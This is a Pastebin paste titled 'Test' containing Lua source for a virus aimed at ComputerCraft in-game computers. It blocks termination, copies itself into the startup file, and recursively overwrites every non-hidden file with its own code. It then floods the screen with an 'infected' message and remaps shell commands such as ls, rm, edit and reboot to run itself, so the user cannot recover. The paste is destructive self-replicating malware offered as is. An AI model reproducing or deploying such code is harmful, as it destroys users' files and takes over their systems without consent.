Derek1017

Test

May 24th, 2015
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.21 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2.  
  3.  
  4. local w, h = term.getSize()
  5.  
  6.  
  7.  
  8. function disPlace()
  9.  
  10.         shell.clearAlias("ls")
  11.  
  12.         shell.clearAlias("dir")
  13.  
  14.         shell.clearAlias("cp")
  15.  
  16.         shell.clearAlias("mv")
  17.  
  18.         shell.clearAlias("rm")
  19.  
  20.         shell.setAlias("ls", "startup")
  21.  
  22.         shell.setAlias("dir", "startup")
  23.  
  24.         shell.setAlias("cp", "startup")
  25.  
  26.         shell.setAlias("mv", "startup")
  27.  
  28.         shell.setAlias("rm", "startup")
  29.  
  30.         shell.setAlias("list", "startup")
  31.  
  32.         shell.setAlias("edit", "startup")
  33.  
  34.         shell.setAlias("reboot", "startup")
  35.  
  36.         shell.setAlias("shutdown", "startup")
  37.  
  38.         shell.setAlias("lua", "startup")
  39.  
  40.         shell.setAlias("delete", "startup")
  41.  
  42.         shell.setAlias("help", "startup")
  43.  
  44.         shell.setPath(":::VIRUS:::")
  45.  
  46.         shell.setDir(":::VIRUS:::")
  47.  
  48. end
  49.  
  50.  
  51.  
  52. function printCentered(y, s)
  53.  
  54.         term.setCursorPos(w / 2 - string.len(s) / 2, y)
  55.  
  56.         write(s)
  57.  
  58. end
  59.  
  60.  
  61.  
  62. function payload()
  63.  
  64.         local payLoadCharacters = {0, 1, "|", "-", "+"}
  65.  
  66.         for i=1,50000 do
  67.  
  68.                 os.queueEvent("randomEvent")
  69.  
  70.                 os.pullEvent()
  71.  
  72.                 term.setCursorPos(math.random(1, w), math.random(1, h))
  73.  
  74.                 local index = math.random(1, table.getn(payLoadCharacters))
  75.  
  76.                 write(payLoadCharacters[index])
  77.  
  78.                 printCentered(h / 2, "You Got Virus Infected!")
  79.  
  80.         end
  81.  
  82.         sleep(5)
  83.  
  84.         term.clear()
  85.  
  86.         term.setCursorPos(1, 1)
  87.  
  88.         print("Infected "..os.version())
  89.  
  90. end
  91.  
  92.  
  93.  
  94. function infectDir(Directory, Injection)
  95.  
  96.         local sDir = shell.dir()
  97.  
  98.         sDir = shell.resolve( Directory )
  99.  
  100.         local tAll = fs.list( sDir )
  101.  
  102.         local tFiles = {}
  103.  
  104.         local tDirs = {}
  105.  
  106.         for n, sItem in pairs( tAll ) do
  107.  
  108.                 if string.sub( sItem, 1, 1 ) ~= "." then
  109.  
  110.                         local sPath = fs.combine( sDir, sItem )
  111.  
  112.                         if fs.isDir( sPath ) then
  113.  
  114.                                 table.insert( tDirs, sItem )
  115.  
  116.                         else
  117.  
  118.                                 table.insert( tFiles, sItem )
  119.  
  120.                         end
  121.  
  122.                 end
  123.  
  124.         end
  125.  
  126.         table.sort( tDirs )
  127.  
  128.         table.sort( tFiles )
  129.  
  130.        
  131.  
  132.         for i=1,table.getn(tFiles) do
  133.  
  134.                 local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  135.  
  136.                 filewritex.write(Injection)
  137.  
  138.                 filewritex.close()
  139.  
  140.         end
  141.  
  142.         for i=1,table.getn(tDirs) do
  143.  
  144.                 if tDirs[i] ~= "rom" then
  145.  
  146.                         infectDir(Directory.."/"..tDirs[i], Injection)
  147.  
  148.                 end
  149.  
  150.         end
  151.  
  152.        
  153.  
  154. end
  155.  
  156.  
  157.  
  158. local virusread = fs.open(shell.getRunningProgram(), "r")
  159.  
  160. local viruscode = virusread.readAll()
  161.  
  162. virusread.close()
  163.  
  164.  
  165.  
  166. local filewritev = fs.open("startup", "w")
  167.  
  168. filewritev.write(viruscode)
  169.  
  170. filewritev.close()
  171.  
  172.  
  173.  
  174. infectDir("", viruscode)
  175.  
  176.  
  177.  
  178. if fs.exists("EOF") == false then
  179.  
  180.         payload()
  181.  
  182.         fs.makeDir("EOF")
  183.  
  184. end
  185.  
  186.  
  187.  
  188. disPlace()
Add Comment
Please, Sign In to add comment